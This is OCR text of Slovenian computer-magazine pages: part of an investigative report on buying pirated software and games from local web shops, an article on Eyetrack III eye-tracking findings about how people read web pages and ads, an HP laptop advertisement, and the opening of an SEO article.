dokazati. Prodajalci v %elji, da prodajo ratunal-
nik, zami¥ijo na obe olesi in vanj namestijo
tudi kaj, ¢esar ne bi smeli. Znano je na primer,
da ima Microsoft skupino posameznikov, ki se
v trgovinah predstavljajo kot kupci, dejansko
pa preverjajo, ali prodajalec skupaj z ra¢unalni-
kom prodaja legalno ali nelegalno programsko
opremo. V velikih trgovskih centrih seveda ne
boste prepricali prodajalca (saj tudi ne zna in
nima programov ), da kaj takega stori, lahko pa
vam to uspe v specializiranih ra¢unalniskih tr-
govinah ali pri »vaskem« ratunalnikarju, ki ste

mu zaupali, da namesto vas kupi ra¢unalnik.
Se zlasti se kaj takega lahko zmenite, & oseb-
no poznate prodajalca — saj veste: »za pivo«.
KroZijo tudi govorice, da nekateri »prodajalci«
v zameno za nekaj tisotakov namestijo Zelene
programe. Tega ne moremo dokazati, a &e je to
res, potem gre za »pirata« z brado in papigo na
rami. Poletje je tezko sankcionirati, saj ga je
terko dokazati, &e »pirata« ne ulovijo na delu.
In3pektorji za varovanje avtorskih pravic ver-
jetno ne bodo verjeli uporabniku, pri katerem
bodo nasli nelegalne programe, da mu jih je
namestil (morda celo brez njegove vednosti)
nekdo drug.

LOVILI SMO PIRATE

Prave slovenske pirate, ki prodajajo prav
vse, kar si za%elite, boste morali poiskati v sple-
tu. Naj $e enkrat omenimo, da gre za nelegalno
pocetje, ki vam ga ne priporo¢amo. Tudi mi
obi¢ajno ne kupujemo piratskih CD-jev, tu smo
naredili izjemo le zato, da preverimo, kako za-

Kdo mora ukrepati?

Za to je pristojen Trzni inSpektorat RS (TIRS), ki ve€ let izvaja nadzor pri ponujanju avtorskih
del v tiskanih medijih, na spletnih straneh in pri prodaji avtorskih del na raznih sejmih. Z ana-
lizo oglasov tako v tiskanih kot elektronskih medijih poskusajo odkriti ponudnike avtorskih
del, ki morajo nato v inSpekcijskem postopku dokazovati, da imajo za prodajana dela urejene
materialne avtorske pravice. Ce teh pravic nimajo urejenih, se krSitelja (posameznika) po 3.
odstavku 184. Clena ZAPS (Zakon o avtorskih in sorodnih pravicah) kaznuje z globo 80.000
tolarjev. Ce pa se v postopku dokaze, da je bil obseg prodaje vecji, pa se krsitelja kaznuje z
globo tudi po Zakonu o preprecevanju dela in zaposlovanja na €rno. Poleg tega TIRS oprav-
lija nadzor spostovanja avtorskih pravic na racunalniskem podro¢ju tudi pri gospodarskih
druzbah in samostojnih podjetnikih posameznikih, ki uporabljajo ra¢unalniske programe pri
poslovanju. Pri tem inSpektorji preverjajo, ali ima pravna oseba oziroma samostojni podjetnik
urejene materialne avtorske pravice za nameScene racunalniske programe. Ce pravic pravna
oseba ali s.p. nima urejenih, se krSitelja kaznuje po 1. odstavku 184 ¢lena ZAPS z globo
400.000 tolarjev, z globo 80.000 tolarjev pa se kaznuje tudi odgovorna oseba pravne osebe
ali samostojnega podjetnika. Podatkov o opravljenih insekcijskin pregledih in odstotkih zZal
nismo dobili.

Na podro€ju varovanja avtorstva programske opreme je pri nas znano zdruzenje Business
Software Alliance (BSA). To je neprofitna organizacija, registrirana kot gospodarsko inter-
esno zdruzenje proizvajalcev in prodajalcev racunalniSke strojne in programske opreme. Zal
v daljSem ¢asovnem obdobju s predstavniki BSA Slovenije nismo mogli priti v stik, saj nam
niso odgovarjali na elektronsko posto, prav tako pa so bili nedosegljivi po telefonski poti. Po
neuradnih informacijah so bili ves ta ¢as na terenu (?).
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deva deluje in ali bi organi
pregona lahko pirate ujeli .
— &e bi jih hoteli. g

Piratsko spletno trgo- :
vino najdete, denimo, na
naslovu www.konzole.net.

Doborodosli

oiascr I, ER N o

v Konzole onlifietrgovinil

Nepozoren uporabnik se
sprva sploh ne zave, da je
prisel v Cisto pravo pirat-
sko spletno trgovino ra-
Cunalniskih iger. Na sicer
lepo urejeni spletni strani
ni informacij o imenu in
sede?u podjetja, na voljo
je le elektronski naslov,

i1}
BET
i

H

ki gostuje v Yahoojevem E'—Z:
strezniku elektronske $ jo=n
poste. Cene so neregistri- b
ranim uporabnikom skri- &

te, po registraciji pa nam

ravno te potrdijo sum, da gre za nelegalne za-
deve, saj cena posamezne igre ne presega 800
tolarjev. Prodajalec nam ponuja tudi akcijsko
prodajo: tako ob narodilu petih iger dobimo
Sesto brezplano, najmanjsi znesek narocila pa
ne sme biti ni%ji od dveh tisoakov (pristeti pa
morate Se stroske pogiljanja).

kurirja povprasamo, kdo je posiljatelj, pa nam
mozakar ne zna povedati, saj tega podatka na
paketu ni. Zato kurir pokli¢e na sede? podjetja,
kjer pa nam tudi ne morejo pomagati, saj je po-
giljatelj prinesel paket osebno in dobil potrdi-
lo, na podlagi katerega bo kasneje prejel denar.
Posiljatelj nam torej ostaja neznan, izvedeli pa

Pri nas 50 odstotkov nelegalnih programov

Mednarodno zdruzenje vodilnih svetovnih razvijalcev programske opreme Business Software
Alliance (BSA), je predstavilo rezultate mednarodne raziskave o stopnji nezakonite uporabe
programske opreme po svetu. Neodvisna raziskava, ki jo je izvedla mednarodna analitska hisa
IDC, se izvaja vsako leto. Rezultati raziskave so pokazali, da je bilo 35 odstotkov programskih
paketov, namescenih v osebne racunalnike po vsem svetu, nelegalnih. Slednje se odraza v
izgubi, ki je globalno znasala 34 milijard ameriskih dolarjev, kar je 1,6 milijarde dolarjev

ve¢ kot lani. Vendar pa pozi-
tivni premiki na Stevilnih trgih
kazejo, da so se prizadevanja
za izobrazevanje uporabnikov
in kaznovanje krsiteljev obre-
stovala. To je predvsem vidno
na rastocih trgih, na primer na
Kitajskem, v Rusiji in Indiji ter
v regiji CEMA (Srednja Evro-
pa, Bliznji vzhod in Afrika). V
Sloveniji je stopnja nezakonite
programske opreme v lanskem
letu znaSala 50 odstotkov, kar
je 1 odstotek manj kot leto
poprej. Kljub padcu pa zaradi
nelegalnih  namestitev  pro-
gramske opreme Se vedno ugo-
tavljamo letno izgubo v viSini
33 milijonov dolarjev.

Odlotili smo se za nakup treh iger za igralno
konzolo Sony Playstation 2 (dva DVD-ja in en
CD), kar nas je skupaj s stroski posiljanja stalo
3550 tolarjev. Odziv prodajalca na nase naro-
&ilo je bil hiter (o poteku naroéila nas je ob-
vestil Se isti dan), na podlagi &esar lahko oce-
nimo, da pogosto dobiva narotila, saj spremlja,
kaj se dogaja v njegovi trgovini. Dan po tem
nam kurirska slutba GLS (General Logistic
System) dostavi narofeni paket. Pred pladilom

smo ime kraja, kjer je bil paket oddan. Kot smo
pri¢akovali, so bile v paketu narocene igre, za
katere lahko brez najmanjSega dvoma zatrdi-
mo, da so piratske. Zanimivo pa je, da je po-
Siljatelj za nas ostal anonimen, Ceprav mu bo
kurirska sluzba dostavila kupnino.

Ker nam zadeva ne da miru, $e sami pokli-
gemo na sede? kurirske sluzbe, a tokrat pride-
mo do druga¢nih podatkov. Sogovornik nam
zaupa podiljateljevo ime, priimek in naslov

i
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brez hisne $tevilke. Podatki so ve¢ kot o&itno
izmi3ljeni, kar potrdi tudi nafe poznejse pre-
verjanje. Sogovornik kurirske slu¥be nam za-
upa, da omenjena stranka pogosto uporablja
njihove storitve in da kurir pakete prevzame
na pofdiljateljevem domu, kamor pozneje tudi
dostavijo denar. Tu se je nase poizvedovanje
koncalo, je pa zanimivo, kako kurir dostavne
sluzbe GLS najde neobstojeci naslov, in tako
sprejme posiljko ter posiljatelju pozneje do-
stavi denar. Opisana ponudba je torej vsem
na oceh, pogumni pirat (morda jih je veg) se
skriva za luknjo v kurirski sluzbi, uporabniki so
zadovoljni z nizko ceno iger in svet se vrti na-
prej. Ce bi na primer policija hotela (oziroma
bi od njih to zahtevale ustrezne sluzbe), bi tega
pirata ali pirate dokaj enostavno nasla.

VSE NA KUPU

Kaj pa drugo, ali kdo ponuja DVD-, DivX-
filme, glasbo, programe in tudi igre na enem
mestu? Ko smo z iskanjem tak$nega »ponudni-
ka« %e skoraj obupali, nam je znanec ne preved
zaupljivo namignil, da vse svoje potrebe po
piratskih vsebinah potesi s pomo&jo »podjet-
nika«, ki svoje storitve tr¥i na portalu www.
slofilm.com. Stran se uspe$no skriva pred »na-
dle?nimi« internetnimi iskalniki, ni je zasledi-
ti niti kot nit pogovora v priljubljenih sloven-
skih forumih. Torej, kot da ne obstaja. Vendar
obstaja, kot re¢eno, ponuja vse, od starih do
novih zadev vseh oblik in formatov, postati
uporabnik pa ni ravno madji kagelj. Upravi-
telji strani se o&itno bolj zavedajo nelegalnosti
pocetja kot konkurenca na www.konzole.net.
Uporabnik lahko postanete samo s priporo¢i-
lom prijatelja, ki je ¥e uporabnik »servisa«.
Ce upravitelj v vagih dejanjih zasledi »sumlji-
ve« nagibe, vam skupaj z vasim priporocite-
ljem onemogoci dostop do strani. Kljub trudu
nam ni uspelo najti »trojanskega konja«, ki bi
bil za nas pripravljen re&i dobro besedo, ki je
pogoj za »vélanitev« v podzemni klub.

Uspel pa nam je pogovor z uporabnikom,
ki je opisal, kako »trgovina« deluje in kaj po-
nuja. Izvedeli smo, da so cene podobne kot
pri prej omenjeni trgovini konzole.net, da
priznavajo koli¢inske popuste in da prodajajo
vse, kar je mo¢ spraviti na DVD oziroma CD.
Ceprav imajo stalne stranke, ki morajo stalno
dokazovati svojo lojalnost, kupovanje tu vsee-
no poteka nekoliko drugade. Ob narotilu dobi
naro¢nik v elektronski predal sporoéilo, v ka-
terem mu je naro¢eno, kam in koliko denarja
naj poslje (v kuverti). Zanimivo je, da ob vsa-
kem naro&ilu kupec dobi drug naslov, na kate-
rega mora poslati denar, vedno pa naslov kaze
na postni predal. Ko posljemo denar, v dnevu
ali dveh tudi prejmemo naroc¢eno »robo«.

Ponudba torej obstaja, obstaja pa zato, ker
je povprasevanje. Nasli smo dve veg&ji in dobro
organizirani spletni prodajalni piratske opre-
me. Koliko jih je dejansko, najbr? ne ve nihce,
dobro pa je vedeti, da je tam, kjer je dim (pov-
praevanje), tudi ogenj (ponudba).

2]
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raziskave oCesnega gibanja po spletnih straneh

Kako si ogledujemo spletne strani?

Poynterjev institut (www.poynter.org) je v zadnjih 16 letih skupaj s partnerji izvedel tri raziskave, katerih namen je preucevanje
zaznavanja in prebiranja dolocenih medijev in interakcije posameznikov z njimi. Medtem ko je bila prva raziskava Eyetrack
namenjena zgolj preucevanju interakcije potrodnikov s Casniki, pa je druga raziskava, ki so jo izvedli v letih 1999-2000, Ze
preucevala tudi obnasanje uporabnikov na spletnih straneh ...

PiSe: Rado$ Skrt
rados.skrt@mojmikro.si

eta 2003 so skupaj s podjetjema Eyeto-

ols Inc. in Estlow Center for Journalism

and New Media zaceli izvajati raziska-

vo Eyetrack 111, ki je potekala do leta
2004. S pomocjo orodij in programske opre-
me so na izbranih spletnih straneh spremljali
olesno gibanje 46 internetnih uporabnikov in
skusali ugotoviti, kako uporabniki pregleduje-
jo spletne strani, kako prebirajo vsebino in kaj
vpliva na njihove odzive (klike).

KAJ JE EYETRACKING?

Izraz eyetracking se uporablja za poimenova-
nje tehnologije, ki omogo¢a natanéno sprem-
ljanje zaznavanja preucevane vsebine. Po-
sebna kamera, imenovana eyetracker, lahko
spremlja vsak premik oCesa kot tudi bele?i vse
podrobnosti, ko se pogled ustavi na dolo&eni
tocki na preucevani vsebini. Za obdelavo, ana-
lizo in primerjavo vseh pridobljenih podatkov
je seveda nujna programska oprema.

Vie Hewing SEEN, BUT
5 pag, Ciigyd Treng, NOT CLICKED!

Slika 1

NOT SEEN, NOT CLICKED!

Groups

Analiza pridobljenih podatkov pokaZe, kaj
uporabniki na preu¢evanem mediju (npr. splet-
na stran, Casnik, revija) najprej opazijo, katere
vsebinske dele preskotijo, katere preberejo v ce-
loti, katere samo be?no preletijo in katerih stvari
sploh ne opazijo. Pri spletnih straneh lahko pre-
ucujemo tudi, na katere dele vsebin se uporabni-
ki odzovejo s klikom in kak3$na dejanja opravijo
na spletni strani (klik na oglas, klik na besedilno
povezavo, prijava na e-novice, registracija upo-
rabnika, oddaja povpraSevanja ipd.).

Pri interpretaciji zbranih podatkov so nam
v veliko pomo¢ t.i. zemljevidi gledanja (heat-
maps), ki nazorno pokaZejo, na katere toc¢ke na
preudevanem mediju se osredotocijo uporabni-
ki in katerim delom namenjajo najve& pozorno-
sti. Barve na zemljevidih povedo, kaksen dele?
uporabnikov je pregledoval dologeno podrogje.
Z rdeco barvo so npr. oznaéena podro¢ja, ki jih
je pregledovalo 80-100 % uporabnikov. Sistem
naredi zabelezko na zemljevidu, ko se uporab-
nikovo oko zaustavi na dologeni to¢ki ali ko je
zaznati uporabnikovo prebiranje besedila. Ce
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uporabnikovo oko samo potuje ¢ez doloteno
podrocje, ne da bi se pri tem vsaj za hip ustavi-
lo, potem se tak uporabnik ne 3teje med tiste, ki
pregledujejo dolo¢eno podrogje.
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the Fold [l the Fold
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half of
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Slika 2: Zemljevid gledanja

KLJUCNE UGOTOVITVE RAZISKAVE
EYETRACK I

Izsledki raziskave so pokazali, da imajo upo-
rabniki pri pregledovanju vstopnih spletnih
strani tipi¢en vzorec obnasanja. [z vecine pre-
ulevanih primerov raziskave Eyetracking III
je namre¢ razbrati, da uporabniki pregleduje-
jo spletne strani v obliki &érke F. To pomeni,
da se pozornost uporabnikov najprej usmeri v

/ 4
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Slika 5: Primer poti uporabnikovega ocesa
na spletni strani

Primer branja zemljevida gledanja
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Najvecjo pozornost pritegnejo naslovi in kratki povzetki prvih petih novic na strani. Oglas na levi
strani (neboti¢nik velikosti 160 x 600) pritegne znatno manj$o pozornost uporabnikov (50-60
%), Ceprav je na najboljS§em moznem mestu na strani. Kljub vsemu ta rezultat sploh ni slab, $e
posebej ¢e ga primerjamo z opazenostjo zgornje pasice, ki je zanimiva samo 20-30 % uporabni-
kov. Je pa preucevana spletna stran specifi¢na, saj v primerjavi z vecino strani uporablja krmarje-
nje na desni strani, prostor, namenjen prikazovanju spletnega neboti¢nika, pa je na levi strani.
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zgornji levi del spletne strani, kjer sta obi¢ajno
logotip podjetja in zaCetni del podajanja vsebi-
ne. Pogled se za nekaj trenutkov ustavi na tem
podrogju, nato pa za&nejo odi potovati od leve
proti desni. Nekaj trenutkov kasneje se o&i po-
maknejo rahlo navzdol, kjer je mo& ponovno
zaznati pogled od leve proti desni. Lahko bi
dejali, da z o&mi zariSemo zgornji del &rke E Po
hitrem pregledu zgornjega dela strani nadalju-
jejo oci svojo navpi¢no pot proti dnu strani.

Slika 6: Opaznost posameznih delov spletne
strani

2 prioritata

Ceprav je raziskave pokazala, da dose¥e spod-
nji del strani nekajkrat manjSo pozornost kot
zgornji del, pa to $e ne pomeni, da posamezni
segmenti iz spodnjega dela strani niso opaZeni
ali da ne pripeljejo do akcije uporabnika (npr.
klik, nakup, prijava). Raziskava Eyetrack III je
namre¢ ugotovila zanimivo obnaSanje uporab-
nikov v spodnjem delu strani, saj je bilo opazi-
ti, da uporabniki i§¢ejo nekaj, kar bi pritegnilo
njihovo pozornost. O¢&i ve&ine uporabnikov, ki
so pregledovali spodnji del spletne strani, so se
nato po desnem robu vraale navzgor.

Seveda zgoraj opisanega vedenja ne smemo in
ne moremo vzeti za »sveto resnico«, kajti vsak
uporabnik gleda spletne strani po svoje. Povrh
vsega so poti odi pri razli¢ni oblikovnih predlo-
gah in pri razli¢nih postavitvah spletnih strani
popolnoma drugacne. Recemo lahko le, da se
statisti¢no gledano vecina internetnih uporab-
nikov pribliZuje zgoraj opisanemu vzorcu.

VPLIV POSAMEZNIH GRADNIKOV
SPLETNE STRANI

Raziskava Eyetrack III je postregla tudi s
Stevilnimi zanimivimi in v nekaterih primerih
tudi presenetljivimi podrobnostmi. Ena izmed
zanimivej$ih ugotovitev je prav gotovo ta, da
se vecina uporabnikov najprej zazre v naslove
novic in 3ele nato v slike oziroma fotografije,
ki so objavljene na spletni strani. Med drugimi
izsledki raziskave velja omeniti naslednje:
¢ Kot najuginkovitejse se je izkazalo krmarje-
nje na vrhu strani, ki ima tudi najve¢jo opa-
Yenost. Po opaZenosti ji sledi krmarjenje na
levem delu strani.

e Manjsa pisava spodbuja uporabnike, da po-
drobneje preberejo besedila, medtem ko vegja
vpliva na hitrejSe pregledovanje vsebine. Raz-
iskava je pokazala da posvetijo uporabniki ve&
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&asa besedilom, ki so napisani z manj3o pisa-
vo.

e Udarni, kratki in jasni in naslovi novic so
$e kako pomembni, ¢e %elimo pritegniti pozor-
nost uporabnikov.

o Kratki odstavki se obnesejo bolje kot daljsi
sklopi besedil. Odstavki, ki vsebujejo manj kot
45 besed, imajo dvakrat ve¢jo pozornost kot
daljsi odstavki.

o Vedja ko je objavljena fotografija na spletni
strani, ve¢jo pozornost uporabnikov pritegne.
Fotografije, velike vsaj 210 x 230 pik, je pre-
gledala ve& kot polovica uporabnikov, udele-
fenih v raziskavi. Ce so fotografije prikazovale
&loveske obraze, so pritegnile Se dodatno po-
zornost uporabnikov.

® Medtem ko imajo faktografski podatki (npr.
osebna imena, imena krajev) boljsi odziv, ce
so predstavljeni v besedilni obliki, pa imajo
pojmovne informacije vedji odziv, e so pred-
stavljene z multimediji. Razna tehni¢na navo-
dila in informacije o procesih ali postopkih si
uporabniki najbolje zapomnijo, ¢e so predstav-
ljene s kombinacijo besedila in animacij.

OGLASI NA SPLETNIH STRANEH

Rezultati raziskave Eyetrack III, ki je name-
nila veliko pozornost tudi preu¢evanju oglasov
na spletnih straneh, so pokazali, da pritegnejo
najved pozornosti oglasi na levi strani spletne
strani. Nekoliko manj3o, $e vedno pa ve¢ kot
polovi¢no pozornost vseh uporabnikov priteg-
nejo oglasi na vrhu spletne strani (obi¢ajno pod
logotipom). Oglasi na desni strani so %e veliko
manj zanimivi, za oglase na dnu strani pa poka-
%ejo zanimanje le redki uporabniki (tabela 1).

Tabela 1: Vidnost oglasov je odvisna
od njihove pozicije na spletni strani

levi del strani 68
vrh strani 55
desni del strani 34
dno strani 14

Ce med seboj primerjamo razli¢-
ne vrste spletnih oglasov, ugotovi-
mo, da besedilne oglase uporabniki
bolj opazijo kot slikovne. Njihova
prednost izhaja po vsej verjetnosti
iz dejstva, da uporabniki velikokrat
e v osnovi ali namensko ignorirajo
kakrsnekoli spletne oglase, ki se pri-
kazujejo na spletnih straneh, in pa
iz dejstva da so besedilni oglasi ve-
likokrat umesceni na spletne strani
tako, da uporabniki sploh ne lo¢ijo
vsebine od oglasov (slika 7).V tem
kontekstu je zanimiva tudi ugoto-
vitev, da pritegnejo ve&jo pozornost
uporabnikov tudi tisti oglasi, ki se
barvno bolj ujemajo z ozadjem splet-
ne strani, na kateri so objavljeni, in
pa oglasi, ki se pojavijo znotraj vse-
binskega dela spletne strani (glej
sliko 8).

rnholt, £EQ of Agilent Technologies Inc, that his company had a less-
u'll get«ttle argument. After spinning off from Hewlett-Packard Co. in
I bubble was stretching thin, Barnholt has seen the §6 billion Silicon
ow. In 2002, sales were down 28%, the stock was off 35%, and
hloss.
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H many of seven-figure bonuses, The result; CEO pay is back to where
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Slika 8: Oglase znotraj besedilnega dela
uporabniki bolj opazijo.

OpaZenost oglasov pa ni odvisna samo od
njihovega mesta na spletni strani, temve& tudi
od njihove velikosti. Nekako popolnoma lo-
gi¢no je dejstvo, da so vegji oglasi opaznejsi
kot manjsi (tabele 2). Je pa zanimiva ugoto-
vitev, da so opaZ¥eni oglasi delefni enake po-
zornosti uporabnikov, ki namenjajo enako &asa
tako malim kot velikim oglasom (v povprecju

od 0.6-1.6 sekunde).

Tabela 2: Vidnost oglasov glede na
njihovo velikost

160 x 800 128.000 68
72272 51.984 60
468 x 60 * 28.080 53
200 x 200 40.000 24
468 x 60** 28.080 14

* Na vrhu strani
** Na dnu strani

ZLATI GOOGLQOV TRIKOTNIK

Pa si poglejmo Se, kaksen je tipien vzorec
obnaganja uporabnikov na najbolj obiskani
spletni strani v medmre?ju. Raziskava je po-
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Slika 7: Meja med besedilnim oglasom in menijem je
velikokrat zabrisana.
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kazala, da je pozornost veline uporabnikov
Googlovi spletni strani usmerjena v ti. zlati
trikotnik, ki je v zgornjem levem kotu strani
(slika 9). Ce vzamemo pod drobnogled stran z
izpisom rezultatov iskanj, ugotovimo, da dale¢
najved pozornosti pritegne prvi zadetek rezul-
tatov iskanj. Vidnost posameznih rezultatov
iskanj pada skladno z nara§¢anjem njihovega
Stevila — bolj ko se pomikamo proti dnu strani
z izpisanimi rezultati iskanj, manj so ni zani-
mivi za uporabnike. Razlika v opa%enosti med
prvim in desetim zadetkom na strani rezultatov
iskanj je lahko tudi ve& kot petkratna.

Slika 9: Zlati trikotnik na Googlovi strani

Ce vzamemo pod drobnogled klike uporab-
nikov na strani rezultatov iskanj, ugotovimo,
da je razkorak med prvimi in zadnjimi zadet-
ki Se ved&ji kot pri njihovi opaZenosti. Stevilo
klikov namre& e bolj drasti¢no pada v sme-
ri proti desetemu izpisanemu rezultatu iskanj

(slika 10).

Gledano z vidika iskalnega marketinga in
uvricanja spletnih strani v iskalnikih so zgo-
raj navedene ugotovitve Se kako pomembne,
saj dokazujejo, kako pomembne so dobre uvr-
stitve v iskalnikih. Ker se na prvi strani z re-
zultati iskanj zgodi priblizno 80 % vseh klikov,
ki so povezani z iskanjem dolo¢ene vsebine, bi
v primeru, da se vasa spletna stran pojavi med
10. in 20. mestom (na drugi strani rezultatov
iskanj), to pomenilo, da izgubite priblifno 80
% potencialnih obiskovalcev, ki namesto vase
spletne strani obi¢ejo spletne strani konku-
rentnih podjetij. Zaradi tega bi si bilo treba za
vsako spletno stran
prizadevati, da se za
njene najpomemb-
nejSe klju¢ne besede
pojavi ¢im vise med
izpisanimi  rezultati
iskanj. Prvo mesto
v iskalnikih, kot sta
Najdisi in Google,
pripelje namred na
spletno stran veliko
ve obiskovalcev kot
povezava do spletne
strani, ki je na dru-
gem mestu rezultatov
iskanj (raziskava je
pokazala, da prvi re-
zultat v Googlu pri-
tegne kar 72 % vseh
klikov na prvi strani
rezultatov  iskanj).
Drugo mesto je veli-
ko bolj$a od tretjega,
to spet veliko boljsa
od Cetrtega in tako
naprej. OpaZenost re-
zultatov in odzivnost
na izpisane rezultate
iskanj drasti¢no pade
med 4. in 5. mestom,
kar je 3e zlasti o¢itno
pri tistih uporabni-
kih, ki uporabljajo
zaslone manjse log-
ljivosti, ki zahtevajo
uporabo navpi¢nega
drsnika, ¢e Zeli upo-
rabnik videti na za-

Tabela 3: Vidnost
organskih zadetkov
iskanj na Googlu

— viduostrezultatoviskanj L 100 % slonu vse rezultate
s — 2. 100 % iskanj.
: \ 3. 100% )
: — 4, 85% OPAZENOST
— 5 160% SPONZORIRA-
s 6. |50% NIH POVEZAV

T F s 4 % s 1 s v w 7. 50 % PRI GOOGLU
- st o (CTR) 8. 30 % Pri Googlu se lah-
AN 9. 30 % ko sponzorirane po-
3 \ 10. 20 % vezave  prikazujejo
. \HK nad prvim rezultatom

’]nr.ictl: ||asn:ui“:‘llh‘hw;ukaj . *
Slika 10: Vidnost Googlovih rezultatov iskanj
in odzivnost nanje

iskanj ali pa na skrajni desni strani. Sponzo-
rirane povezave nad rezultati iskanj opazi
80-100 % uporabnikov, medtem ko priteg-
nejo sponzorirane povezave na desni strani le
10 % (spodnja mesta) do 5 0% (zgornja mesta)

uporabnikov. Ce primerjamo opazenost organ-
skih zadetkov in rezultatov iskanj, lahko hitro
pridemo do sklepa, da ima organska uvrstitev
na 5. mesto ve&ja opaZenost kot prva izpisana
sponzorirana povezava na desni strani, in da
nima zadetek na 7. mestu ni¢ manjse opaZeno-
sti kot najbolj opaZena sponzorirana povezava
na desni strani. Prve 3tiri sponzorirane poveza-
ve so opazne toliko kot organski zadetki med 7.
in 10. mestom.

ZAKAJ SO TE RAZISKAVE
POMEMBNE?

Z analizo pridobljenih podatkov in s primer-
javo z drugimi uporabniki, ki so bili udeleZeni
v procesu raziskave, se lahko postavijo splo$ni
vzorci obnasanja uporabnikov na doloenem
mediju. Poleg preutevanja u¢inkovitosti poda-
ne vsebine, je mo¢ z raziskavo olesnega pre-
ulevati tudi u¢inkovitost tiskanih in spletnih
oglasov, zadovoljstvo uporabnikov pri uporabi
programske opreme, opaznost izdelkov na do-
lo¢eni prodajni polici v trgovini in podobno.

Za lastnike spletnih strani so tovrstne razis-
kave tudi dober pokazatelj (ne)udinkovitosti
spletnih strani, saj lahko na s pridobljenimi
podatki ugotovimo, kateri deli spletne stra-
ni so zanimivi uporabnikom in katere dele bi
zaradi preskromne opaZenosti veljalo izboljsa-
ti. Verjemite, da lahko $tevilne »&rne luknje«
najdemo skoraj na vseh spletnih straneh. Ce
Yelimo vzpostaviti u¢inkovito spletno stran, je
dobro, da so oblikovalci in na&rtovalci spletnih
strani ¥e v procesu nastajanja spletnih strani
seznanjeni z nacinom pregledovanja spletnih
strani. Ce vedo, kako uporabniki gledajo in
kako se odzivajo na objavljeno vsebino, po-
tem je seveda ve& kot priporo&ljivo, da temu
ustrezno prilagodijo vsebino in postavitev
spletne strani. Na tiste dele spletnih strani, ki
so s pogledi uporabnikov najbolj na udaru, je
tako denimo treba postaviti najpomembnejso
vsebino (nosilne novice, elemente, ki vzpod-
bujajo uporabnike k dolo¢enemu dejanju, kot
npr. nakup izdelka, klik na oglas, prijavo na e-
novice in podobno).

Raziskave olesnega gibanja pa niso po-
membne samo za spletne projekte v nastaja-
nju, temvet tudi za %e obstojede spletne strani,
pri katerih nam lahko rezultati tak$nih razis-
kav dajo dober povod za preoblikovanje splet-
ne smeri v smeri njene vedje ucinkovitosti.
Tovrstne raziskave nam lahko tudi pomagajo
poiskati vzroke za nizko stopnjo klikov oziroma
nam pomagajo spoznati dejavnike, ki bi lah-
ko pripeljali do bolj$ega odziva uporabnikov,
torej do vecjega stevila klikov. Ob dejstvu, da
lahko %e malenkostna sprememba mesta, kjer
se prikazujejo oglasi, pripelje do njihove veg-
je opaZenosti, lahko s postopki optimiranja, ki
se nana$ajo na oblikovno podobo, postavitev
krmarjenja in postavitev besedilnega in slikov-
nega dela spletne strani, znatno vplivamo na
povelanje u¢inkovitosti spletnih strani in na
vedje zadovoljstvo uporabnikov pri njihovem
pregledovanju.

|
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PRENOSNIK HP Compaq nx6125

Informativna cena (z DDV):

255.425 SIT

1.066,38 €

* AMD Turion™ 64 Mobile Technology ML-32
* Microsoft® Windows® XP Professional SLO
* Pomnilnik 512 MB DDR 333 MHz
* 60 GB SMART ATA HDD 4200 rpm
* Vgrajen pogon DVD +/- RW
s tehnologijo Double Layer
o ATI MOBILITY RADEON X300 do 128 MB
pomnilnika v skupni rabi
* Zaslon 15" TFT XGA 1024 x 768
* Integriran modem 56K in
mrezni vmesnik 10/100/1000
* Integriran 802.11b/g WLAN

AMD 1
~

Turioné4

MOBILE TECHNOLOGY

HUD MODEL.
LEP MODEL.

IN NI NEDOSTOPEN.

Kljub visoki zmogljivosti, ki jo omogoéa 64-bitni procesor AMD Turion™ 64, prenosni

model HP Compaq nx6125 ni nedosegljiv. S pomoéjo vrhunske grafiéne podpore in

brezhibne povezljivosti bodo vase strasti vedno na dosegu rok. In to v prijetni, tanki

in lahki obliki.

¢ Integriran vmesnik Bluetooth

* Integriran zvoéni vmesnik in dva zvoénika

* 6celiéna baterija Lithium-lon

¢ Vmesniki: 3x USB 2.0, VGA, S-Video TV Out,
1x PC Card Type I/11, Firewire, izhod za slu3alke,
integriran mikrofon, vhod za zunanii mikrofon,
Citalec kartic 6 v1, reza za kartice ExpressCard/54,
vmesnik za razsiritveno postajo, Citalec prstnih odtisov,
vmesnik za potovalno baterijo

* Dimenzije: 3,1 x 26,7 x 32,8 cm

e Teza: 2,72 kg

¢ Garancija 1 leto

Za cene in ostale modele v akciji
kliknite: www.diss.si/hp/akcija

obis¢ite: www.avtera.si/hp/akcija

2006
Preferred Partner
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© 2006 Hewlett-Packard Development Company, L.P. Microsoft, Windows in Windows Mobile sta registrirani blagovni znamki v lasti druzbe Microsoft Corporation ali njenih podruznic v ZDA in ostalih drzavah. AMD, logotip AMD-pusgica, AMD Turion in vse

njihove kombinacije so zai¢itene blagovne znamke Micro Devices, Inc. Slike so simboliéne. Ponudba velja do razprodaije zalog. Za morebitne napake v tisku ne odgovarjamo. Distribucija: www.avtera.si, www.diss.si.



VIVZAIR

niSarjenje z Googlovimi oglasi

Kako do mnozice
obiskovalcev?

V prejsnji Stevilki smo govorili o izbiri nide, postavitvi

spletne strani in vnosu vsebine. Tokrat pa
se bomo posvetili nacelom, kako to
spletno stran predstaviti ¢im $irSi mnoZici
obiskovalcev. Opisali bomo tudi, kako te
obiskovalce unovciti.

PiSe: Davor Strehar
davor.strehar@mojmikrosi

OSNOVNO OPTIMIRANJE
SPLETNE STRANI

Optimiranje spletne strani je postopek prila-
gajanja spletnim iskalnikom z namenom vis-
jega uvrs¢anja ob iskanju z dolo¢enim kljuéni-
mi besedami. Cilj optimiranja je pridobiti &im
ved obiskovalcev prek spletnih iskalnikov, in
to tako, da stran zasede ¢im viSje mesto med
zadetki pri relevantnih iskanjih.

Spletni iskalniki preiskujejo spletne strani
s pomod&jo pajkov (spiders). Pajek je racunal-
niski program, ki se je sposoben premikati po
internetu in preiskati veliko spletnih strani.
Vendar pa sam tezko sodi o videzu strani, zato
se mora dr¥ati dolo¢enih pravil pri odlo¢anju o
pomembnosti dolo¢enega dela vsebine strani.
Z optimiranjem spletne strani to prilagajamo
delovanju teh ra¢unalniskih programov.

Najpomembnejsa stvar, ki jo je treba zelo
skrbno nastaviti, so naslovi strani. Pri nisnem
optimiranju se najbolje izkaZejo kratki, jedrna-
ti naslovi, ki vsebujejo samo eno, najve dve
klju¢ni besedi. Tako bo naslov naSe spletne
strani najbolj relevanten.

Naslednji korak je opis strani (meta descrip-
tion), kiv mora spet vsebovati kak$no klju¢no
besedo. Se pomembnejse pa je, da pritegne ob-
iskovalca, da obis¢e naSe spletno mesto. Opis
se namre& pojavi pod naslovom vsakega zadet-
